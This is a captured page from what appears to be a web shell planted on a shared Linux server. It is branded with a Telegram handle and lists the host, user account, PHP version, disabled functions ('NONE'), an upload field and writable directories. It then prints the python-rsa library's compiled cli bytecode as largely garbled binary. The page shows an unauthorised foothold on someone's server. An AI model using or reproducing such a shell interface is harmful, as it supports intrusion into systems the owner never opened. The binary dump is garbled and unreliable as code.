https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/rsa/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/rsa/__pycache__/cli.cpython-310.pyc
o

��a�&�@s�dZddlZddlZddlZddlZddlZddlZddlZeej	j
���Z
ejej
ejefZddd�ZGdd�dejd�ZGd	d
�d
e�ZGdd�de�ZGd
d�de�ZGdd�de�Ze�Ze�Ze�Ze�ZdS)zWCommandline scripts.

These scripts are called by the executables defined in setup.py.
�N�returnc	
Cs�tjddd�}|jdddd�|jdd	dd
d�|jddd
dd�|�tjdd��\}}t|�dkr;|��td��zt	|d�}Wn t
yc}z|��td|dtjd�td�|�d}~wwtd|tjd�t
�|�\}}|jr�td|jtjd�|j|jd�}t|jd��
}|�|�Wd�n1s�wY|j|jd�}|jr�td|jtjd�t|jd��}|�|�Wd�dS1s�wYdStdtjd�tjj�|�dS)zKey generator.zusage: %prog [options] keysizez/Generates a new RSA key pair of "keysize" bits.��usage�descriptionz--pubout�stringz�Output filename for the public key. The public key is not saved if this option is not present. You can use pyrsa-priv2pub to create the public key file later.��type�help�-oz--outz`Output filename for the private key. The key is written to stdout if this option is not present.z--formz7key format of the private and public keys - default PEM��PEM�DERr�r	�choices�default�NrzNot a valid number: %s��filezGenerating %i-bit keyzWriting public key to %s)�format�wbzWriting private key to %szWriting private key to stdout)�optparse�OptionParser�
add_option�
parse_args�sys�argv�len�
print_help�
SystemExit�int�
ValueError�print�stderr�rsa�newkeys�pubout�
save_pkcs1�form�open�write�out�stdout�buffer)	�parser�cli�cli_args�keysize�ex�pub_key�priv_key�data�outfile�r6�)/usr/lib/python3/dist-packages/rsa/cli.py�keygen!sb����
���"�r8c	@s�eZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
ejZd$dd�Zejdedejjdedejfdd��Zd$dd�Zdejejeje ffdd�Z!de de dejjfdd�Z"de defdd�Z#d ed!e dd
fd"d#�Z$d
S)%�CryptoOperationz9CLI callable that operates with input, output, and a key.�publicz'usage: %%prog [options] %(keyname)s_key��decrypt�	decrypted�
decryptingzEName of the file to %(operation)s. Reads from stdin if not specified.zjName of the file to write the %(operation_past)s file to. Written to stdout if this option is not present.rTrNcCs4|j|jj|_|j|jj|_|j|jj|_dS)N)r�	__class__�__dict__�
input_help�output_help)�selfr6r6r7�__init__wszCryptoOperation.__init__�indata�keyr/cCsdS)z�Performs the program's operation.

        Implement in a subclass.

        :returns: the data to write to the output.
        Nr6)rCrErFr/r6r6r7�perform_operation|sz!CryptoOperation.perform_operationcCsh|��\}}|�|d|j�}|�|j�}t|j��tj	d�|�
|||�}|jr2|�||j
�dSdS)zRuns the program.rrN)�	parse_cli�read_key�keyform�read_infile�inputr!�operation_progressive�titlerr"rG�
has_output�
write_outfile�output)rCr.r/rFrE�outdatar6r6r7�__call__�s�zCryptoOperation.__call__cCs�tj|j|jd�}|jddd|jd�|jr |jddd|jd�|jdd	|jd
dd�|�	t
jd
d��\}}t|�|j
krG|��td
��||fS)zFParse the CLI options

        :returns: (cli_opts, cli_args)
        rz-iz--inputrrr
z--outputz	--keyformz&Key format of the %s key - default PEMrrrrN)rrrrrrArOrB�keynamerrrr�expected_cli_argsrr)rCr-r.r/r6r6r7rH�s�zCryptoOperation.parse_cli�filenamerJcCsXtd|j|ftjd�t|d��}|��}Wd�n1s wY|j�||�S)zReads a public or private key.zReading %s key from %sr�rbN)r!rTrr"r(�read�	key_class�
load_pkcs1)rCrVrJ�keyfile�keydatar6r6r7rI�s

�zCryptoOperation.read_key�innamecCsb|r$td|tjd�t|d��}|��Wd�S1swYtdtjd�tjj��S)zRead the input filezReading input from %srrWNzReading input from stdin)r!rr"r(rX�stdinr,)rCr]�infiler6r6r7rK�s �zCryptoOperation.read_infilerR�outnamecCsp|r(td|tjd�t|d��}|�|�Wd�dS1s!wYdStdtjd�tjj�|�dS)zWrite the output filezWriting output to %srrNzWriting output to stdout)r!rr"r(r)r+r,)rCrRr`r5r6r6r7rP�s"�zCryptoOperation.write_outfile�rN)%�__name__�
__module__�__qualname__�__doc__rTrr�	operation�operation_pastrMrArBrUrOr#�	PublicKeyrYrD�abc�abstractmethod�bytesrF�AbstractKey�	Indexable�typing�AnyrGrS�Tupler�Values�List�strrHrIrKrPr6r6r6r7r9ds<�
����

 	r9)�	metaclassc	@sFeZdZdZdZdZdZdZdZ	dde	d	e
jjd
e
de	fdd
�ZdS)�EncryptOperationzEncrypts a file.r:zWEncrypts a file. The file must be shorter than the key length in order to be encrypted.�encrypt�	encrypted�
encryptingr6rEr2r/rcC�t|tjj�s	J�t�||�S)zEncrypts files.)�
isinstancer#rFrhrv)rCrEr2r/r6r6r7rG��z"EncryptOperation.perform_operationN�r6)rbrcrdrerTrrfrgrMrkr#rFrlrmrGr6r6r6r7ru�s$������ruc	@sLeZdZdZdZdZdZdZdZe	j
Z	dded	e	j
jd
edefdd
�ZdS)�DecryptOperationzDecrypts a file.�privatezgDecrypts a file. The original file must be shorter than the key length in order to have been encrypted.r<r=r>r6rEr3r/rcCry)zDecrypts files.)rzr#rF�
PrivateKeyr<)rCrEr3r/r6r6r7rG�r{z"DecryptOperation.perform_operationNr|)rbrcrdrerTrrfrgrMr#rrYrkrFrlrmrGr6r6r6r7r}�s&������r}c@s^eZdZdZdZdZdd�e�ZdZ	dZ
dZej
Zd	Zd
Zdedejjd
edefdd�ZdS)�
SignOperationz
Signs a file.r~z/usage: %%prog [options] private_key hash_methodzCSigns a file, outputs the signature. Choose the hash method from %s�, �sign�	signature�Signing�z\Name of the file to write the signature to. Written to stdout if this option is not present.rEr3r/rcCsBt|tjj�s	J�|d}|tvrtdd�t���t�|||�S)zSigns files.rz%Invalid hash method, choose one of %sr�)rzr#rFr�HASH_METHODSr�joinr�)rCrEr3r/�hash_methodr6r6r7rGs
zSignOperation.perform_operationN)rbrcrdrerTrr�r�rrfrgrMr#rrYrUrBrkrFrlrmrGr6r6r6r7r��s0�������r�c@sTeZdZdZdZdZdZdZdZdZ	e
jZdZ
d	Zd
ede
jjded
dfdd�ZdS)�VerifyOperationzVerify a signature.r:z1usage: %%prog [options] public_key signature_filezsVerifies a signature, exits with status 0 upon success, prints an error message and exits with status 1 upon error.�verify�verified�	Verifyingr�FrEr2r/rNc
Cs�t|tjj�s	J�|d}t|d��}|��}Wd�n1s!wYz	t�|||�WntjyA}ztd�|�d}~wwt	dt
jd�dS)zVerifies files.rrWNzVerification failed.zVerification OKr)rzr#rFrhr(rXr��VerificationErrorrr!rr")rCrEr2r/�signature_file�sigfiler�r1r6r6r7rG+s
�
��z!VerifyOperation.perform_operation)rbrcrdrerTrrrfrgrMr#rhrYrUrOrkrFrlrmrGr6r6r6r7r�s*�����r�ra)rerirrnrr#�rsa.key�	rsa.pkcs1�sorted�pkcs1r��keys�Unionrprrrsrmr8�ABCMetar9rur}r�r�rvr<r�r�r6r6r6r7�<module>s(
Cn!#


https://t.me/RX1948 - 2025